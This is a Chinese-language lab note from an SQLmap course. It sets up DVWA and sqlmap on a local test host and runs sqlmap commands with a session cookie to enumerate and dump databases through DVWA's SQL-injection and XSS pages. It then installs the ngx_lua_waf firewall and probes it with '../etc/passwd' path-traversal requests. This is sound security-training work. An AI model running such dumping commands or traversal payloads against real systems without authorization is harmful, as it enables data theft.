课程:浅析SQLmap https://www.imooc.com/video/15394
1、环境搭建
dvwa安装
wget https://github.com/ethicalhack3r/DVWA/archive/master.zip
unzip master.zip -d /home/wwwroot/default/dvwa
cp -p config/config.inc.php.dist config/config.inc.php //修改数据库信息
# 打开浏览器访问:http://192.168.1.111/dvwa/setup.php,
# 看到第三列Database Setup: "admin//password" //记下登录密码
sudo cp /usr/local/php/etc/php.ini /usr/local/php/etc/php.ini.0
sudo vim /usr/local/php/etc/php.ini
修改到浏览器页面的 Setup Check 都是绿色,reCAPTCHA key可以忽略,默认时 + allow\_url\_include + 文件夹+文件写入权限
验证地址:http\://192.168.1.111/dvwa/setup.php
sqlite3安装
sudo apt-get install libsqlite3-dev
sudo apt-get install sqlite3
验证命令:
sqlite3、.h、.exit
sqlmap安装
官方参考https://github.com/sqlmapproject/sqlmap
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
mv sqlmap-dev /home/wwwroot/default/sqlmap
cd /home/wwwroot/default/sqlmap
pyenv local system //本文件夹2.7, 3.8运行报错
pyenv versions
验证命令:
python sqlmap.py -h
python sqlmap.py -hh
2、命令测试
–dbs 枚举数据库管理系统数据库
–tables 枚举的DBMS数据库中的表
–dump 转储数据库表项
–dump-all 转储数据库所有表项
–batch 从不询问用户输入,使用所有默认配置
–smart 进行积极的启发式测试,快速判断为注入的报错点进行注入
具体参考: 《超详细SQLMap使用攻略及技巧分享》simeon//2018-03-19
#打开网页控制台,设置 [DVWA Security]=low,切换到sql注入项,
#获取加u的url和cookieID
cd /home/wwwroot/sqlmap
./sqlmap.py -u "http://192.168.1.111/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie "security=low; PHPSESSID=kibd4jqg824naa41a2h7uch7jh" --dbs
# 显示某库某表的全部数据
./sqlmap.py -u "http://192.168.1.111/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie "security=low; PHPSESSID=kibd4jqg824naa41a2h7uch7jh" \
-D last12 -T order_queue --dump
#网页切换到XSS(stored)
./sqlmap.py -u "http://192.168.1.111/dvwa/vulnerabilities/xss_s/" --cookie="security=low; \
PHPSESSID=kibd4jqg824naa41a2h7uch7jh" -- \
data="txtName=11&mtxMessage=22&btnSign=Sign+Guestbook" --dbs
3、软件防火墙
ngx_lua_waf参考:https://github.com/loveshell/ngx_lua_waf
cd /home/wwwroot/cluster
# 集群其他
sed -ri "s/root\/tmp\/dk/home\/wwwroot\/cluster/g" `grep -rl "root\/tmp\/dk" .`
//把 rec.mysql.sh 端口 3306改为 3307
# 防火墙搭建
mkdir ngx_lua_waf && cp -rp ../openresty.b/* .
git clone https://github.com/loveshell/ngx_lua_waf.git
cd ngx_lua_waf
vim conf/waf/config.lua
# :%s/local\/nginx/local\/openresty\/nginx/g
//替换成docker内实际路径
vim nginx.conf
# 根据官方,在nginx.conf的http段添加
lua_package_path "/usr/local/nginx/conf/waf/?.lua";
lua_shared_dict limit 10m;
init_by_lua_file /usr/local/nginx/conf/waf/init.lua;
access_by_lua_file /usr/local/nginx/conf/waf/waf.lua;
# 建立logs/hack文件夹,权限777
cp -p ../rec.nginx.sh waf.sh
# 修改目录和端口,启动容器
默认配置下,测试:
http://192.168.1.111:8084/test.php?id=../etc/passwd //防火墙拦截
http://192.168.1.111:8084/i=../etc/passwd //404页
http://192.168.1.111:8084/index.html?id=1 //首页
#拦截日志
tailf logs/hack/localhost_2019-12-24_sec.log
实例及数据库代码上传:
https://github.com/cffycls/ngx_lua_waf
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。